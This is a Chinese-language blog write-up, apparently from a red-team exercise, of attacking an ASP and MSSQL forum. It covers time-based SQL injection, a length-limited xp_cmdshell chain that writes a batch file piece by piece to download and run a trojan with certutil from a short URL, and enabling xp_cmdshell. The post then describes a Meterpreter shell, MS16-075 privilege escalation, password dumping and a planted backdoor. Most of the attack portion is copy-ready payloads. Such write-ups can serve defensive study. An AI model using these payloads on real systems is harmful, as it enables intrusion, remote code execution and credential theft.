記一次asp+mssql的注入和命令執行(已脫敏)

記一次asp+mssql的注入和命令執行(已脫敏)

前言

前一段時間參加了一個活動,這一段時間學習了不少的東西,自己的知識提升的也比較快,這裏選擇幾個比較典型的例子來分享一下,因爲相關站點保密,所以均脫敏並且儘可能本地復現環境,這些例子也會分幾篇文章來進行記錄

復現

首先進行信息收集,之後發現在一個高端口開着一個論壇服務,於是打開站點進行常規的測試,在用戶名處,在搜索框處,在輸入單引號之後得到報錯,我的輸入有錯誤,這很有可能就是注入點,因爲我之前沒有做過asp+mssql的注入,於是馬上去請教了大佬,因爲站點是get傳參,大佬經過測試發現可以通過post傳參(應該是使用了asp的Request.Form函數),因爲站點內沒有內容,所以不能通過bool盲注,但是可以通過堆疊時間盲注進行注入,payload ';if (db_name()like'A%')waitfor delay '0:0:10' --這裏可以通過burp的測試器進行測試,把a-z0-9添加到字典中,之後進行枚舉,判斷返回時間,下面舉個例子
在這裏插入圖片描述
枚舉到t時得到延時5秒,證明數據庫的第一個字符爲t
在這裏插入圖片描述
接下來使用burp的測試器
修改要測試的位置
在這裏插入圖片描述
添加字典
在這裏插入圖片描述
修改線程
在這裏插入圖片描述
查看結果
在這裏插入圖片描述
按時間排序
在這裏插入圖片描述
得到數據庫的下一位爲e,接下來得到數據庫名稱。
判斷用戶是否爲dba權限
';if (select IS_SRVROLEMEMBER('sysadmin'))<1 WAITFOR DELAY '0:0:5'--,但是執行這個代碼發現沒有延時,無論是<1還是>=1都沒有回顯,可能是因爲手工的方式不太對,所以丟到sqlmap
在這裏插入圖片描述
發現可以注入,之後使用--is-dba 判斷是否爲dba權限
在這裏插入圖片描述
不是dba權限,繼續注入出其他數據庫--dbs
在這裏插入圖片描述
發現沒有回顯,而且sqlmap沒有檢測出waf,所以就要分析一下payload和後端的問題了,想到這裏是搜索框,並且默認是get傳參,那麼是不是可能限制了字符串長度,於是修改payload爲';if ('aaa'='aaa')waitfor%20delay%20'0:0:5' --通過調整單引號長度,來測試最大爲多大長度時可以延時,經過枚舉,發現後端的長度限制爲60,那麼在注入的時候就只能通過存儲過程來注入,這樣是非常麻煩的,還有一種辦法就是通過mssql的xp_cmdshell函數來執行命令,當然因爲前面有對字符串的長度有限制,所以每次執行的命令長度也有限制,';exec master..xp_cmdshell ''--爲執行命令的基本長度,爲31,所以我們執行命令的長度最大爲29,而且還要考慮殺軟的問題,因爲經過本地測試,如果存在殺軟,那麼命令是無法執行成功的
在這裏插入圖片描述
哪怕是ping命令甚至是錯誤的命令都不能執行,所以要對目標是否存在殺軟進行測試,
';exec%20master..xp_cmdshell%20'ping%20127.0.0.1'--執行之後等待了4秒,成功得到回顯,證明對面目標沒有殺軟或者殺軟不爲測試的某衛士
想到可以通過系統的下載命令進行下載,配合上短域名即可實現文件下載,但是經過測試,常規的下載命令,配合短域名之後長度會達到34位
在這裏插入圖片描述
而且還會涉及下載目錄問題,還有下載的文件的執行問題。
在之前復現phpstudy命令執行漏洞寫shell的時候學習到了在系統下echo 123>1.txtecho 123>>1.txt兩種寫入方式的區別,通過第二種方式即可實現寫入文件,於是進行本地復現
在這裏插入圖片描述
經過寫入兩次文件,但是命令根本不在一行,這樣是無法執行的,這時候想起了之前在ctfhub上面做的命令執行,想到在linux下可以通過拼接來繞過過濾,實現命令執行,那麼windows下是不是也可以呢,找到了度娘,可以通過以下方式來進行字符串拼接

@echo off
set a=certuti
set b=l -urlca
set q=%a%%b%

於是把下載的命令進行構造
certutil -urlcache -split -f http://suo.im/5UEWnn %temp%/1.exe
經過字符串拼接,現在本地進行測試,

@echo off
set a=certuti
set b=l -urlca
set q=%a%%b%
set a=che -spl
set q=%q%%a%
set a=it -f ht
set q=%q%%a%
set a=tp://suo
set q=%q%%a%
set a=.im/5UEW
set q=%q%%a%
set a=nn 
set q=%q%%a%
set a=%%temp%%
set q=%q%%a%
set a=/1.exe
set q=%q%%a%
echo %q%
pause

在這裏插入圖片描述
發現已經拼接成功,並且可以執行,所以進行構造payload
';exec master..xp_cmdshell 'echo >>%temp/6.bat'--爲需要的最基本的長度。爲45個字符
而且還需要保證字符串拼接可以完成,';exec master..xp_cmdshell 'echo set q=%a%%b%>>%temp/6.bat'--爲61個字符,這樣已經不能夠正常的執行命令,所以要對payload進行縮減,把寫入文件的擴展名去掉,在寫完文件之後使用copy命令進行重命名
所以payload爲';exec master..xp_cmdshell 'echo set q=%a%%b%>>%temp/6'--,經過構造得到完整的payload

';exec master..xp_cmdshell 'echo @echo off>>%temp%/3'--
';exec master..xp_cmdshell 'echo set a=certuti>>%temp%/3'--
';exec master..xp_cmdshell 'echo set b=l -urlca>>%temp%/3'--
';exec master..xp_cmdshell 'echo set q=%a%%b%>>%temp%/3'--
';exec master..xp_cmdshell 'echo set a=che -spl>>%temp%/3'--
';exec master..xp_cmdshell 'echo set q=%q%%a%>>%temp%/3'--
';exec master..xp_cmdshell 'echo set a=it -f ht>>%temp%/3'--
';exec master..xp_cmdshell 'echo set q=%q%%a%>>%temp%/3'--
';exec master..xp_cmdshell 'echo set a=tp://suo>>%temp%/3'--
';exec master..xp_cmdshell 'echo set q=%q%%a%>>%temp%/3'--
';exec master..xp_cmdshell 'echo set a=.im/5UEW>>%temp%/3'--
';exec master..xp_cmdshell 'echo set q=%q%%a%>>%temp%/3'--
';exec master..xp_cmdshell 'echo set a=nn >>%temp%/3'--
';exec master..xp_cmdshell 'echo set q=%q%%a%>>%temp%/3'--
';exec master..xp_cmdshell 'echo set a=%%temp%%>>%temp%/3'--
';exec master..xp_cmdshell 'echo set q=%q%%a%>>%temp%/3'--
';exec master..xp_cmdshell 'echo set a=/1.exe>>%temp%/3'--
';exec master..xp_cmdshell 'echo set q=%q%%a%>>%temp%/3'--
';exec master..xp_cmdshell 'echo %q%>>%temp%/3'--
';exec master..xp_cmdshell 'copy %temp%\3 %temp%\3.bat'--
';exec master..xp_cmdshell '%temp%\3.bat'--
';exec master..xp_cmdshell '%temp%\1.exe'--

思路就是通過把命令寫入文件,之後通過copy命令把無後綴的文件變成bat,進行執行裏面的下載命令,遠程下載muma到指定目錄,之後通過命令執行來運行muma,當然還要先測試目標是否出網和是否是dba,開啓了xp_cmdshell

';EXEC sp_configure 'show advanced options', 1;--
';RECONFIGURE;--
';EXEC sp_configure 'xp_cmdshell', 1;--
';RECONFIGURE;
';exec master..xp_cmdshell 'ftp x.x.x.x'--

在服務器執行nc -lvvp 21
如果有回顯,證明目標可以執行命令並且出網
在這裏插入圖片描述
接下來首先進行本地測試,測試命令是否執行成功,能否成功寫入文件,
在這裏插入圖片描述
發現命令已經執行成功,但是沒有寫入文件,於是修改asp代碼,顯示sql語句,下面是我本地復現的代碼

<%
mssql_datahost = "127.0.0.1"'數據庫地址

mssql_dataname="test" '數據庫名稱

mssql_username = "sa" '數據庫用戶名

mssql_password = "Aa123456" '數據庫密碼

connstr = "Provider = Sqloledb; User ID = "&mssql_username&"; Password = "&mssql_password&"; Initial Catalog = "&mssql_dataname&"; Data Source = 127.0.0.1,1433;"

Set conn = Server.CreateObject("ADODB.CONNECTION")

conn.Open connstr
'string keyword = Request.Form ["keyword"]
'StrSql = "Select * from test where id ='" & keyword
'StrSql = StrSql &"'"

dim keyword
keyword=Request.Form("keyword")
keyword=left(keyword,60)
StrSql = "Select * from test where id ='" & keyword & "'"
Response.Write(StrSql)
Conn.Execute(StrSql)
%>

發現是%沒有編碼,在post傳參中被url解碼消失了,所以修改payload

';exec%20master..xp_cmdshell%20'echo%20@echo%20off>>%25temp%25/3'--
';exec%20master..xp_cmdshell%20'echo%20set%20a=certuti>>%25temp%25/3'--
';exec%20master..xp_cmdshell%20'echo%20set%20b=l%20-urlca>>%25temp%25/3'--
';exec%20master..xp_cmdshell%20'echo%20set%20q=%25a%25%25b%25>>%25temp%25/3'--
';exec%20master..xp_cmdshell%20'echo%20set%20a=che%20-spl>>%25temp%25/3'--
';exec%20master..xp_cmdshell%20'echo%20set%20q=%25q%25%25a%25>>%25temp%25/3'--
';exec%20master..xp_cmdshell%20'echo%20set%20a=it%20-f%20ht>>%25temp%25/3'--
';exec%20master..xp_cmdshell%20'echo%20set%20q=%25q%25%25a%25>>%25temp%25/3'--
';exec%20master..xp_cmdshell%20'echo%20set%20a=tp://suo>>%25temp%25/3'--
';exec%20master..xp_cmdshell%20'echo%20set%20q=%25q%25%25a%25>>%25temp%25/3'--
';exec%20master..xp_cmdshell%20'echo%20set%20a=.im/5UEW>>%25temp%25/3'--
';exec%20master..xp_cmdshell%20'echo%20set%20q=%25q%25%25a%25>>%25temp%25/3'--
';exec%20master..xp_cmdshell%20'echo%20set%20a=nn%20>>%25temp%25/3'--
';exec%20master..xp_cmdshell%20'echo%20set%20q=%25q%25%25a%25>>%25temp%25/3'--
';exec%20master..xp_cmdshell%20'echo%20set%20a=%25%25temp%25%25>>%25temp%25/3'--
';exec%20master..xp_cmdshell%20'echo%20set%20q=%25q%25%25a%25>>%25temp%25/3'--
';exec%20master..xp_cmdshell%20'echo%20set%20a=/1.exe>>%25temp%25/3'--
';exec%20master..xp_cmdshell%20'echo%20set%20q=%25q%25%25a%25>>%25temp%25/3'--
';exec%20master..xp_cmdshell%20'echo%20%25q%25>>%25temp%25/3'--
';exec%20master..xp_cmdshell%20'copy%20%25temp%25\3%20%25temp%25\3.bat'--
';exec%20master..xp_cmdshell%20'%25temp%25\3.bat'--
';exec%20master..xp_cmdshell%20'%25temp%25\1.exe'--

執行之後,msf收到shell,查看權限
在這裏插入圖片描述
通過tasklist命令查看是否存在殺軟和本地運行的進程
因爲本地權限較低,所以需要提權抓取密碼

use post/multi/recon/local_exploit_suggester

使用msf的local_exploit_suggester匹配出了一些可能的用於易受攻擊目標提權的漏洞利用的exp模塊。
之後使用ms16075進行本地提權
在這裏插入圖片描述
獲得system權限,抓取密碼
在這裏插入圖片描述
接下來因爲kali的vmtools出現一些問題,因爲我已經使用了msf自帶的功能添加了後門,所以我對虛擬機進行了重啓,在之後的兩天,我都會把我的msf打開,等待我的shell回來,我想死他了

總結

因爲之前對asp+mssql沒有過接觸,所以剛一碰到目標的時候很麻爪,包括在進行權限維持和橫向的時候,還沒來得及做,就已經被發現了,之前使用msf的時候都是在自己的虛擬機裏,環境和真實環境肯定有很多差異,而且,msf的反彈使用了meterpreter,並且沒有使用rc4或者https來加密流量,導致權限只拿下來了2個小時就被防守方發現,並且關閉了網站,越學發現自己越菜,立一個小目標吧,未來幾天把mssql常見的寫文件,執行命令以及不同命令下某衛士的反應進行一個測試,爭取在10天左右完成本次演習的總結和復現。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章